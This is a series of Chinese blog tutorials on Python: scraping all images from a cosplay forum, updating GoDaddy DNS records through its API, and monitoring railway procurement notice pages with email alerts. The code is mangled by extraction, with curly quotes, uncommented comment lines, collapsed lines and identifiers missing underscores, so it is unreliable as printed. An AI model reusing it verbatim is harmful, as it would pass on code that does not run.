爬虫的本质其实是找到网页的规律,然后通过这个规律去编写一个适应这个规律的程序,然后通过这个程序来获取我们需要的东西。所以首先我们要分析网页,来找到这个规律。
1.分析第一级页面规则,获取所有帖子的链接。
打开谷歌浏览器,进入我们需要爬取的网站,切换到 cos 这一栏。我们今天就来爬cos这一栏里所有帖子的图片。
可以看到网址是一个比较规则的地址,我们把网址后缀的 “30-1.html“改为“30-2.html”,页面就会跳转到第二页。
观察一下网页排版,看下我们需要爬取的东西和不需要的东西。
我们需要的是下面帖子区域的内容,一共有98页2729个帖子:
右键其中一个帖子,然后右键“检查”,在右边弹出的任务栏里,鼠标往上移动,直到移动到一个位置,网页全选了整个帖子的部分,这个被选中的标签 <div class=”con”>就是帖子区域的的标签层,包含了整个帖子区域。在这个层里,包含了所有的帖子链接。
可以看到,这个div层下每个<li>标签都包含了一个帖子:
再展开其中一个<li>标签,看到它包含了这个帖子的2个链接和1个缩略图链接,我们需要的是是帖子链接。
这里我们就找到了帖子排布的规律,那么第一级页面的规则也基本分析完成了。规则如下:
① 通过改变网页链接,实现翻页。
② 找到<dlv class=”con”>这个标签。
③找到②中div包含的所有<li>标签中的链接。
一级页面爬取后,即可获得cosplay板块所有帖子的链接。
2.分析二级页面规则,获得所有图片的链接。
随便打开一个帖子,同样右键一张帖子里的图片,然后右键“检查”。往上移动鼠标,直到整个帖子区域被选中:
这个class=”PiccontentPart fl 的div标签,里面包含了整个帖子的图片内容。同样,可以看到这个div下的每个<p>标签里包含的就是每张图片的信息。可以看到,<p>标签里很简单粗暴地包含了一个图片地址。
那么二级页面的规则也分析完了。规则如下:
① 通过一级页面获得的帖子链接,进入帖子,找到 class=”PiccontentPart fl 的div标签
② 找到上面div标签中的<p>标签
③ 获得<p>标签中的链接
三、开始写python程序
上面我们安装的requests模块用于网页访问,beautifulsoup4模块用于网页解析。
1.获取第一级页面并解析出帖子中的链接
注释在程序里已经写好了,其中的requests的get传递的参数headers可以不填,这个是拿来表明身份的,表示你是浏览器而不是python程序。
运行一下效果图:
一共爬到了2729个帖子链接,一共98页,每页是28个帖子,数量刚好差不多。
2.解析二级页面:帖子中图片的地址
这里我贴了其中两个帖子做测试,结果如下:
当然我们也可以改进下,找到帖子的标题,也是层级查找:
3.合并完整程序
最后我们把两个查找合并嵌套一下,获取所有帖子中的所有图片的链接,控制下访问速度,再做下错误处理并完善下提示。
完整代码如下:
import requests from bs4 import BeautifulSoup from time import sleep
header ={‘user-agent’:‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36’,
‘cookie’:‘UM_distinctid=1663384985d6fd-03db9719bc459f-8383268-1fa400-1663384985f5c5; CNZZDATA1256110375=1639678596-1538460026-%7C1538460026; pgv_pvi=6300302336; pgv_si=s7801597952; yunsuo_session_verify=61e64cd8bf75fa31a03c96c3195f46f5’}
topic_count = 0
img_count = 0
err_count = 0
for i in range(1,99):
try:
#根据规律遍历生成98个页面地址
url = ‘http://www.cosplaymore.com/list-30-‘+str(i)+‘.html’;
#使用requests的get方法访问这98个页面
r = requests.get(url=url,headers=header,timeout=30)
#将返回的页面内容通过beautifulsoup的网页解析器解析出来
r_html = BeautifulSoup(r.text,‘html.parser’)
#查找class名字为’con’的div
html_board = rhtml.find(‘div’,class=‘con’)
#遍历class名字为‘pic imgholder’的a标签
for topic_link in html_board.findall(‘a’,class=‘pic imgholder’):
sleep(5)
topic_count+=1
print(‘访问第’+str(topic_count)+‘个帖子’)
# 访问每一个帖子
r_topic = requests.get(url=topic_link.get(‘href’), headers=header, timeout=30)
# 将帖子内容解析为html网页
topic_html = BeautifulSoup(r_topic.text, ‘html.parser’)
# 找出帖子的标题
topic_title = topichtml.find(‘div’, class=‘PiccontentTitle’).find(‘font’).text
# 找出这个帖子中的贴图区域
topic_board = topichtml.find(‘div’, class=‘PiccontentPart fl’)
# 从贴图区域找出所有的img标签
title_count=0
for img_link in topic_board.find_all(‘img’):
# 从img标签中获取链接
#print(img_link.get(‘src’))
title_count += 1
img_count += 1
#print(topic_title+str(title_count))
#下载图片保存到d盘的img文件夹
img_file = requests.get(url=img_link.get(‘src’),headers=header,timeout=30)
img_path = ‘d:/img/’+topic_title+str(title_count)+‘.jpg’
with open(img_path,‘wb’) as f:
f.write(img_file.content)
print(‘图片已保存=====>’+img_path)
except:
err_count+=1
print(‘出错,跳过’+str(err_count))
print(‘共爬取到’+str(topic_count)+‘个帖子链接’)
print(‘共爬取到’+str(img_count)+‘张图片地址’)
print(‘出错的帖子:’+str(err_count)+‘个’)
效果如下:
四、后记
这篇文章的例子爬取还是很简单的,结构很清晰,通过class名字就能直接找到标签,是比较基础的那种,也是为了便于大家理解。实际情况中,多数网站做了反爬虫处理,除了class名随机,标签的排列也不一定是固定的顺序。且不同的帖子结构不一样,会让你很难下手。不过对于python来说,这都不是问题,可以通过正则匹配来解决这个问题。爬取的内容也可以通过list或者dic等方式进行处理,真不行还能使用pymysql进行数据去重和整理。爬虫爬取的方式千变万化,唯有核心思想不会变:根据网页结构的规律,写出适合这个规律的程序。
多数网站也做了访问速度处理,如果你访问速度过快就会封你的ip。所以爬虫也需要适时限速,爬一个帖子休息几秒钟,反正写好了代码后台运行,让它挂着运行就好了。
beautifulsoup4模块官方文档:https://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html
requests模块官方文档:http://docs.python-requests.org/zh_CN/latest/user/quickstart.html
python3对接godaddy API,实现自动更改域名解析(DDNS)
misery阅读(1W+)
godaddy API文档:https://developer.godaddy.com/
文章开始前,先解释下如下问题:
①什么是域名解析?
域名解析一般是指通过一个域名指向IP地址(A解析),然后我们访问这个域名就可以有直接访问这个IP地址的效果,只需要记住域名即可,无需记住IP。
②什么是DDNS?
DDNS是动态域名解析,一个域名可以根据IP的变化,自动修正解析,无论设备的IP地址怎么变化,这个域名将一直指向对应的设备。
③有什么用?
动态域名解析广泛应用于家庭网络,因为家庭网络的IP地址是动态的,每次重启猫,都会造成IP地址变化。如果想要通过外网稳定访问(不一定是web访问)家里的设备,就需要使用动态域名解析,现在用的比较广泛的是花生壳DDNS。
④为什么要用godaddy?
首先godaddy提供更改域名解析的API,其次godaddy是世界上最大的域名服务商,再次,博主试过百度云加速、阿里云DNS、腾讯云DNS、无一例外都不提供API。没有API的情况下,就需要通过定时登录获取cookie,然后再模拟更改域名的网页操作,post数据到服务器。在使用godaddy之前博主试过post上述国内域名申请商,无一例外post成功后就限制登录,具体原因未可知。
前言
在之前的一篇文章:
https://www.xiaoweigod.com/network/1588.html
使用python3监控公网地址,然后上报给服务器,服务器再修改反代理/发邮件通知用户。由于最近使用远程桌面比较多,每次远程前都要打开邮箱找最近的一次公网地址变更记录。于是想如果可以实现动态域名解析呢?这样申请一个域名,随时都指向最新的IP地址,岂不是很方便?
在前面问答里也说了,通过百度云加速、阿里云、腾讯云等域名解析,每次post成功数据,解析修改完了,账号就被限制登录了。因为这种post是完全模拟网页操作,可能被检测到了,然后就封号。如果有域名服务商可以提供API,直接通过API更改解析,不会封号,也不会限制操作导致失败,那不是美滋滋?
于是顺手搜了下godaddy(最大的域名服务商)的API,果然有这个东西。在API的文档里,找到了这个东西:
可以直接更改一个域名的所有解析记录。不过参数看起来挺复杂,没关系,我们一点一点说。
一、购买一个域名
如果你有域名了,那这一步操作可以忽略掉。
详细步骤不说了,很简单,注册一个godaddy账户,然后搜索你想要的域名,比如我申请了一个域名为:pcserver.me,点DNS,可以看到域名解析的记录:
二、获取API的key
key是用来认证账户身份的,和浏览器的cookie一样,不同的是cookie会过期,而key可以永久不过期。在一段请求中,只要在头部包含这个key,就可以让服务器认定你的身份。
key申请地址:https://developer.godaddy.com/keys 登录账户,点网页右上角的“cereate new API key”,随便命名,环境选择 production:
它会给你一个公钥key,和一个私钥secret,复制下来保存好:
三、文档中更改域名解析put的用法
地址:https://developer.godaddy.com/doc/endpoint/domains#/v1/recordReplace
可以看到,需要提供的参数是domain,还有records。domain就是我们需要修改解析的域名,如本文domain就是pcserver.me。records就是put请求向浏览器发送的参数,里面有data、name、prot等参数。其中要用到的有以下几个参数:
data :解析记录。如将www解析到3.3.3.3,那么data就是3.3.3.3
name :解析名。就是所说的域名前缀,如www.pcserver.me,name(解析名)就是www,如果为@则表示为空
ttl :域名解析生效时间。域名解析提交后,多久才能生效,当然越短越好,最短600
type:解析类型。 一般用A解析,将一个域名指向一个IP地址。
records的数据以json形式传递。我们试一下填写数据,看官方为我们生成请求的格式:
生成格式:
这是一个linux的curl格式,我们需要把它转成python3格式。从官方生成的请求格式中可以看到,请求类型为put,-H后面为headers(请求头),包含accept、content-type、authorization。其中accept是请求返回接收的数据格式,content-type是发送的数据格式,authorization是用户认证(API秘钥),格式为:sso-key 你的key:你的secret,请求地址为:https://api.godaddy.com/v1/domains/pcserver.me/records (正式环境去掉ote)
四、使用python3实现
这里我们实际操作一下,通过API,将pcserver.me这个域名(没有前缀,解析名为@)直接定向到IP地址:5.5.5.5。详细解释已经注释在代码里了
#导入需要的模块 import urllib.request import json
这里做个示范,读取用户输入
ip_addr = input(str(‘输入IP地址:’))
定义请求地址
api_url = ‘https://api.godaddy.com/v1/domains/pcserver.me/records’;
直接做一个函数,传入API地址和更改的IP
def update_NS(api_url,ip_addr):
#定义http请求头
head = {}
#定义服务器返回json数据给我们
head[‘Accept’] = ‘application/json’
#定义我们发送的数据为json
head[‘Content-Type’] = ‘application/json’
#定义身份认证信息
head[‘Authorization’] = ‘sso-key xxxxxxxxx你的key xxxxxxxxx:xxxxxxxxxx你的secret xxxxxxxxxx’
#定义解析记录
records_a = {
“data” : ip_addr,
“name” : “@”,
“ttl” : 600,
“type” : ‘A’,
}
#下面这两个必须包含,不可更改
records_NS01 = {
“data” : “ns07.domaincontrol.com”,
“name” : “@”,
“ttl” : 3600,
“type” : “NS”,
}
records_NS02 = {
“data” : “ns08.domaincontrol.com”,
“name” : “@”,
“ttl” : 3600,
“type” : “NS”,
}
#定义需要发送给服务器的数据为put_data这个列表,包含上面的解析记录
put_data = [records_a,records_NS01,records_NS02]
#错误处理
try:
#定义请求,包含请求地址,请求头,请求方式,并把put_data从json转换为字符串格式,再转换成bytes
req = urllib.request.Request(api_url,headers = head,data = json.dumps(put_data).encode(),method = “PUT”)
rsp = urllib.request.urlopen(req)
#根据官方文档我们只需要知道服务器返回码即可,200为成功,这里获取服务器的返回码
code = rsp.getcode()
#判断是否成功
if code == 200:
print(‘成功更改域名解析:’+ip_addr)
else:
print(‘更改失败!’)
#原谅我偷懒。官方有400/401/422等错误,这里统一处理了
except:
print(‘错误!’)
执行一下函数,并传入请求地址和我们输入的IP
update_NS(api_url,ip_addr)
执行一下看看效果:
这个模块可以配合:
https://www.xiaoweigod.com/network/1588.html
文中的监测公网地址,实现自动更改解析记录。以后就不要翻邮箱找IP啦。
五、几个坑
①这个put请求更改解析记录,会将整个域名的所有解析都替换成你put上去的内容。也就是说,如果我的域名 pcserver.me里面有其他解析记录,那么会将它们全部删掉。在put成功的一瞬间,我的加速器集体宕机,一看原来是加速器节点全部通过域名访问数据库,解析记录没了瞬间连不上数据库了。当然程序可以继续改进,因为有get方式可以请求当前的解析记录,做一下对比就好了。
②json数据通过put请求出去的话,需要用jsondumps转换成字符串,再把字符串转换成bytes,才可以发送,这个坑折腾了好久。
③目前只通过返回码的判断是否成功,这个程序试了N次都get不到返回数据,求大佬指点?
④godaddy的中国电话客服,客服妹子很一般。首先告知无法转接技术,当我询问API文档里那几个参数的意思后,查了5分钟没给回话,然后直接挂机了。。挂机了。。。挂机了。。。。
【超详细】使用python3做一个爬虫,监控网站信息下篇(循环对比,发送邮件)
misery阅读(9620)
接上文:
https://www.xiaoweigod.com/code/1609.html
上文我们已经利用python3的urllib模块和BeautifulSoup模块实现了这几个页面的抓取和分析提取信息。接下来要做的就是对抓取的信息进行循环比较,能体现出更新提示。上文中我们也说了,这个程序分为:信息提取模块(从网页中提取有用信息)、对比模块、还有邮件模块。这么多模块如果要直接写在程序里,一旦需要循环调用,那代码量可以翻好几倍。这里我们开始使用python的函数。
函数可以看做一个黑箱子,有输入和输出。输入东西(传递参数),函数处理完毕之后输出(return),在需要的时候,直接调用函数处理即可,无需再写代码。比如上一篇文章里,最后实现的功能,就是输入url_list,输出抓取到的多个页面的需要的信息。
一、把上一篇文章的代码封装成函数
我们先把上一篇文章的代码封装成两个函数,第一个函数输入url,return出当前url需要提取的信息:
#定义一个名为get_webInfo的函数,传入参数url def get_webInfo(url): req = urllib.request.Request(url) rsp = urllib.request.urlopen(req) html = rsp.read().decode('utf8','ignore') html = BeautifulSoup(html,'html.parser') for link in html.find_all('a',limit=3): info_link = link.get('href') info_text = link.get_text(strip=True) #函数执行完后,return(输出)执行的结果 return info_text+'n'+url[:-50]+info_link+'n'
另一个函数输入url_list,调用get_webInfo函数,return出所有url需要提取的信息:
def parseWeb(url_list): 初始化result为一个列表 result = [] for url in url_list: #每循环一次,就调用get_webInfo,传入参数url,解析出结果,存入变量webInfo webInfo = get_webInfo(url) print(webInfo) #每循环一次,就将解析结果放入result列表中 result.append(webInfo) 函数执行结束后,return(输出) result return result
二、写一个循环对比函数
在上一步中,我们封装了2个函数,get_webInfo()和parseWeb,其中parseWeb()中调用了函数get_webInfo(),相当于执行parseWeb()并传入参数url_list,就可以实现多个页面第一条信息的获取并解析。那么接下来我们可以开始对解析出来的结果进行循环对比了。再看一遍程序流程图:
从图中可以看到,程序开始运行的时候,会抓取一次页面。这里我们运用定义一个全局字典tmp,保存抓取的结果,并跟最新抓取的结果进行对比,写最外面的大循环,判断是否为第一次执行。
先定义(初始化)一个字典tmp作为存储中间内容,值为None (空),再定义一个函数check(),用于循环对比,写最外层的大循环:
#定义一个字典,包含一个空元素history tmp = {'history':None}
定义一个比对函数check()
def check(): #判断字典内的元素history不为空 if (tmp['history']): #把临时值给tmp字典内的history元素 用于循环比较 hisroty = tmp['history'] now = parseWeb(url_list) ...比较过程... #比较完成后把值覆盖传递 tmp [history] = now else: #如果tmp里的history元素为空则判定第一次运行 tmp['history'] = parseWeb(url_list)
这样就完成了一个基本的逻辑,可以对上一次对比和本次获取到的内容进行循环对比了。接下来我们要做的是,在tmp不为空(非第一次运行)的情况下,判断信息是否更新,当然,使用if判断就行了。
首先为了排除因为网络原因导致的数据错误(获取不到数据、数据获取缺失等情况),需要对前后次获取的列表的长度(列表内字符个数)进行判断,比如本次抓取10个页面的第一条信息,那么列表长度固定为10。以下为比较过程:
#大前提,history的列表长度等于now的列表长度 if len(history) == len(now): #定义一个空的变量 result result = '' #使用zip函数,对history和now函数按顺序进行对比 for a,b in zip(history,now): if a == b: print('未发现更新!') else: print('发现更新') #等价于result=result+b 发现更新就在变量result内添加内容,不会覆盖 result+=b ...发送邮件... #注意空格,上面for循环执行后才会执行下面的if判断 #为防止误判,两次获取内容都为空也满足len(history)==len(now),对result进行非空判断 if result != '': #输出结果 print('更新内容如下:'+result) else: print('数据错误!')
三、使用smtp发送邮件
pyhon3自带email和smtplib模块,可以使用smtp发送邮件。由于云服务器默认屏蔽25端口,这里就使用465端口来发送加密邮件。
这里我们定义一个发送邮件的函数 send_mail(),传入参数邮件标题(title)、邮件正文(article)、邮件接收人(receiver)。由于只需要发送文本内容,所以邮件模块比较简单:
#导入需要使用的模块 import smtplib from email.header import Header from email.mime.text import MIMEText
定义发送邮件的函数,传入title,article,receiver参数
def send_mail(title,article,receiver): #定义邮件地址、账号密码等变量 host = 'smtp.mxhichina.com' user = 'admin@xiaoweigod.com' passwd = 'xxxxxxxxxx' sender = user coding = 'utf8' #定义message变量,写邮件内容、邮件头 message = MIMEText (article,'plain',coding) message ['From'] = Header(sender,coding) message ['To'] = Header(receiver,coding) message ['subject'] = Header(title,coding) #错误处理 try: #定义mail_client变量,开启SSL邮件,传入邮件服务器地址和端口 mail_client = smtplib.SMTP_SSL(host,465) #连接smtp服务器 mail_client.connect(host) #登录smtp服务器 mail_client.login(user,passwd) #发送邮件 mail_client.sendmail(sender,receiver,message.as_string()) #发送完成关闭连接 mail_client.close() print('邮件已成功发送给:'+receiver) except: #如果过程中抛出异常则提示用户 print('发送失败!')
我们弄好了发送邮件的函数,可以单独把邮件内容拎出来测试下,在函数前面加几个用户输入动作:
title = input(str('输入邮件标题:')) article = input(str('输入邮件内容:')) receiver = input(str('输入接收人:'))
在函数下方加入:
send_mail(title,article,receiver)
这几个变量会自动传入send_mail()函数中。 保存为send_mail.py,运行一下:
成功接收到邮件:
四、整合成一个完整的程序并优化
最后我们把整个程序整合一下,拼成一个完整的爬虫程序。(只写架构和优化部分)
#coding=utf-8
author=xiaoweigod
import urllib.request from bs4 import BeautifulSoup import smtplib from email.header import Header from email.mime.text import MIMEText import time url_list=[' tmp = {'history':None} receiver = input(str('请输入邮件接收人:')) def get_webInfo(url) #加入UA,防止被网站封 head = {} head['User-Agent']='Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19' req = urllib.request.Request(url,header=head) ...... return info_text+'n'+url[:-50]+info_link+'n' def parseWeb(url_list): ...... return result def check(): ...... print('发现更新') #美化输出的格式 result+='-----------------------------------------n' result+=b result+='-----------------------------------------n' ...... print('更新内容如下:+result') #将result传入article变量,作为邮件正文 send_mail('你关注的网站有更新',result,receiver)
无限循环
while True: check() print('n休息30秒继续运行!') time.sleep(30) print('继续工作...')
运行效果如下:
【超详细】使用python3做一个爬虫,监控网站信息上篇(获取网页信息)
misery阅读(1W+)
由于朋友需要监视几个网页,来获取网页的更新信息。之前使用人工刷新的方法,不仅耗时耗力,效率低,而且时效性很差。于是委托我做一个程序,可以监控这几个网页的更新信息,如果页面更新了东西的话,可以直接通过邮件/微信发送给他。作为一个python还未入门的选手,对我而言这是个不小的挑战,首先感谢@wkm(博客:https://www.xiaoweigod.cn),node大佬的倾情帮助,对于程序的逻辑改进给出了惊为天人的方案。
这里我把这个python爬虫的写法详细地写成博文,以备日后参考,也方便给萌新们学习一下,也请大佬们高抬贵手。当然更希望大佬们可以提出一些指点意见,非常感谢!
首先介绍下这几个网站:
http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=list&cur=1 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.cd-rail.com/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.cd-rail.com/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.xian.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.xian.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.huhht.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.huhht.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.qingz.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.qingz.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
比如我们打开第一个链接, http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=list&cur=1 点击筛选条件,类型为销售,公告类型为项目公告,属性和市场选全部。如图,我们要获取的是这个页面的更新信息。
一、思路分析
1. 那么如何获取这个页面的更新信息呢?其实简单得来讲,只要循环对比栏目中的第一条信息,如果获取到的第一条信息与上一次获取到的第一条信息不一样,那么可以判定更新了,这个时候通过邮件,把更新的信息发送给用户就可以了。虽然这几个网站虽然地址不一样,但是网页结构是一模一样的,只要拿其中一个页面分析,直接套用到其他网页就好了。
画一下流程图:
2. 如何利用python3来实现
网页获取可以用python3的urllib模块,网页分析可以用BeautifulSoup模块,邮件发送可以用smtplib和mail模块。
通过urllib模块下载整个网页,然后使用BeautufulSoup分析并提取有用的信息,最后使用mail模块,利用smtp给用户发送更新邮件。
二、分析web页面
在写爬虫前,必须对需要爬取的页面进行分析,找出需要爬取的信息,然后罗列出来,一一在程序里实现。下面以第一个任务(http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部)为例,介绍如何分析web页面。
1 分析页面的链接地址规则。
使用 chrome浏览器,打开这个页面,我们看到筛选条件是默认的:
然后我们依次点击 销售,项目公告:
发现浏览器的地址根本就没有改变。那么如何确定在这个筛选条件下,这个页面的唯一性呢?
我们可以用抓包工具,抓取点下链接后浏览器向服务器的请求地址。chrome浏览器自带抓包工具,如图,按F12点击network。
然后我们再依次点击 销售-项目公告。
network里面更新了抓到的包,如图,我们查看第一个文件的header:
这里清楚地显示了文件的请求地址是“http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1&keyword=&inforCode=&time0=&time1=”,我们新开一个窗口,把这个请求地址粘贴进去:
如上图,虽然连接还是跳转回到了原来的连接,但是下面的筛选条件却改变了,我们找到了这个筛选条件下页面的唯一地址。
再来分析一下这个唯一地址(http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1&keyword=&inforCode=&time0=&time1=),发现里面的keyword、inforCode、time、time这些参数都没有指定值,可以直接去掉,因此可以将这个链接改为:http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1 ;
粘贴到浏览器,看一下,没有问题。
2 分析需要采集的数据
如图,我们需要采集的是最新一条信息的链接标题和链接地址。在这个链接上右键-检查。可以看到完整的信息:
这是一个 a 标签,“href”后面包含的是链接的地址(mainPageNotice.do?method=info&id=OJ002018051602811725%40OJ002018051602811726%4030),其他则是文字标题([线下][竞卖]5月25日废旧物资网上竞价销售公告)。
三、用python3尝试采集这个链接
这里我用centos7,安装python3环境,安装方法请看:
https://www.xiaoweigod.com/webserver/1603.html
需要用到python3的urllib模块和BeautifulSoup模块。运行以下命令安装:
pip install BeautifulSoup4
urllib模块自带的,因此无无需安装。
1 用urllib获取页面
用vim新建一个名为 get_update.py的python程序
vim get_update.py
获取http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1这个页面的代码如下:
#coding=utf-8
调用urllib.request模块
import urllib.request
定义url地址
url='http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1 ';
定义发送的请求
req=urllib.request.Request(url)
将服务器返回的页面放入rsp变量
rsp=urllib.request.urlopen(req)
读取这个页面,并解码成utf–8格式,忽略错误,放入变量html中
html=rsp.read().decode('utf-8','ignore')
打印html里的内容
print(html)
保存,然后 python get_update.py 运行一下,可以看到打印出了整个网页内容:
2 用BeautifulSoup分析采集页面
上一步已经获取到了页面的内容,这一步我们通过BeautifulSoup来分析页面,并提取信息。
beautifulSoup的官方文档:https://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html
通过官方文档的描述,我们可以使用BeautifulSoup里的find_all()函数,找出所有的a标签,然后用get()函数获取a标签的内容,使用get_text()函数获取文字。
继续添加如下代码:
#导入BeautifulSoup模块 from bs4 import BeautifulSoup
使用BeautifulSoup模块解析变量中的web内容
html=BeautifulSoup(html,'html.parser')
循环找出所有的a标签,并赋值给变量 link
for link in html.find_all('a'): #把href中的内容赋值给info_link info_link=link.get('href') #把a标签中的文字赋值给info_text,并去除空格 info_text=link.get_text(strip=True) #打印出info_text和info_link,并换行 print(info_text) print(info_link+'n')
注意,python对代码的缩进有严格的要求,不能删掉上面的缩进。
保存运行一下,可以看到,所有的链接地址和文字都打印出来了:
3 补全链接
我们看到采集的链接,似乎只有一半。这是因为在html中,约定点击这种链接,前面自动加上网站的地址。比如点击 mainPageNotice.do?method=info&id=IJ002018051501758115%40IJ002018051501758050%4030 浏览器会理解为点击:http://wz.lanzh.95306.cn/mainPageNotice.do?method=info&id=IJ002018051501758115%40IJ002018051501758050%4030
但是我们采集出来给用户的信息不能这样,看起来有点没头没脑的。怎么才能补全链接呢?如果直接在输出的链接前加上前缀字符串(网站域名) ‘http://wz.lanzh.95306.cn/‘ 的话,那么其他不同域名网站就没法采集了。
那么怎么根据网站的域名变化定义这个前缀的字符串(网站域名)呢?我们可以看到,url变量里面就包含了这个前缀字符串,我们可以把url这个变量当成python的列表处理,提取其中的域名。
根据第二节的1小节,分析链接地址,我们把需要采集的页面,全都转化为get请求的地址,既:
http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=list&cur=1 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.cd-rail.com/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.cd-rail.com/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.xian.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.xian.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.huhht.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.huhht.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
http://wz.qingz.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:项目公告 属性:全部 市场:全部
http://wz.qingz.95306.cn/mainPageNoticeList.do?method=list&cur=1 ; 类型:销售 公告:中标公告 属性:全部 市场:全部
转化为:
http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1
http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1
http://wz.cd-rail.com/mainPageNoticeList.do?method=init&id=2000001&cur=1
http://wz.cd-rail.com/mainPageNoticeList.do?method=init&id=2200001&cur=1
http://wz.xian.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1 ;
http://wz.xian.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1
http://wz.huhht.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1
http://wz.huhht.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1
http://wz.qingz.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1
http://wz.qingz.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1
观察一下这些转化后的地址,可以发现虽然域名一样,但域名后面的内容是一样的。
我们直接在python里面看一下,域名后面字符的长度:
长度为50,那么如果把完整的地址(url变量)当成一个列表,从倒数第51个字符串开始,反向截取,看看是什么结果。
可以看到,用url[:-50]就可以返回该网站的域名,那么上面的代码打印输出那两行我们再修改下:
print(info_text) print(url[:-50]+info_link+'n')
保存运行,查看下结果:
成功加上了域名的前缀。
4.获取页面的第一条信息的地址和标题
上面我们已经可以采集这个页面所有的链接地址了。可是我们只需要第一条公告中的链接。BeautifulSoup模块中的find_all()函数提供了限制采集的功能,我们来尝试一下。
将上面的 for link in html.find_all(‘a’): 改为 for link in html.find_all(‘a’,limit=5):
重新运行下查看结果:
打印出了前5个链接,我们需要的是第3个链接。
把 limit的值改为3,再次运行:
怎么把前面2个链接去掉呢? 其实很简单,我们看这个for循环:
for link in html.find_all('a',limit=3): #把href中的内容赋值给info_link info_link=link.get('href') #把a标签中的文字赋值给info_text,并去除空格 info_text=link.get_text(strip=True) #打印出info_text和info_link,并换行 print(info_text) print(url[:-50]+info_link+'n')
每找到一个a标签,就给info_link和info_text赋值一次,并打印出来。因为赋值是会覆盖的,所以可以等整个for循环运行完毕后,再把info_link和info_text的值打印出来,就对应了最后一条链接(第三条)的内容。
再次更改程序,把print这两条的缩进去掉,移除for循环:
for link in html.find_all('a',limit=3): #把href中的内容赋值给info_link info_link=link.get('href') #把a标签中的文字赋值给info_text,并去除空格 info_text=link.get_text(strip=True)
打印出info_text和info_link,并换行
print(info_text) print(url[:-50]+info_link+'n')
运行一下:
成功采集到这条地址。
四、批量采集所有页面中的第一个链接
如果要采集上面十个页面的各自第一个链接,需要定义一个url的合集(列表),把所有需要采集的页面地址都包含进去:
url_list=['http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.lanzh.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.cd-rail.com/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.cd-rail.com/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.xian.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.xian.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.huhht.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.huhht.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1','http://wz.qingz.95306.cn/mainPageNoticeList.do?method=init&id=2000001&cur=1','http://wz.qingz.95306.cn/mainPageNoticeList.do?method=init&id=2200001&cur=1';]
然后用for循环把url全都地址打印出来,再把url传入我们的程序里,最后再打印出来。大致拓扑如下:
for url in url_list: urllib访问获取页面 ... for link in html.find_all('a',limit=3) BeautifulSoup处理提取a标签内容 ... print(info_text) print(url[:-50]+info_link+'n')
完整代码如下:
#coding=utf-8
导入urllib.request模块
import urllib.request
导入BeautifulSoup模块
from bs4 import BeautifulSoup
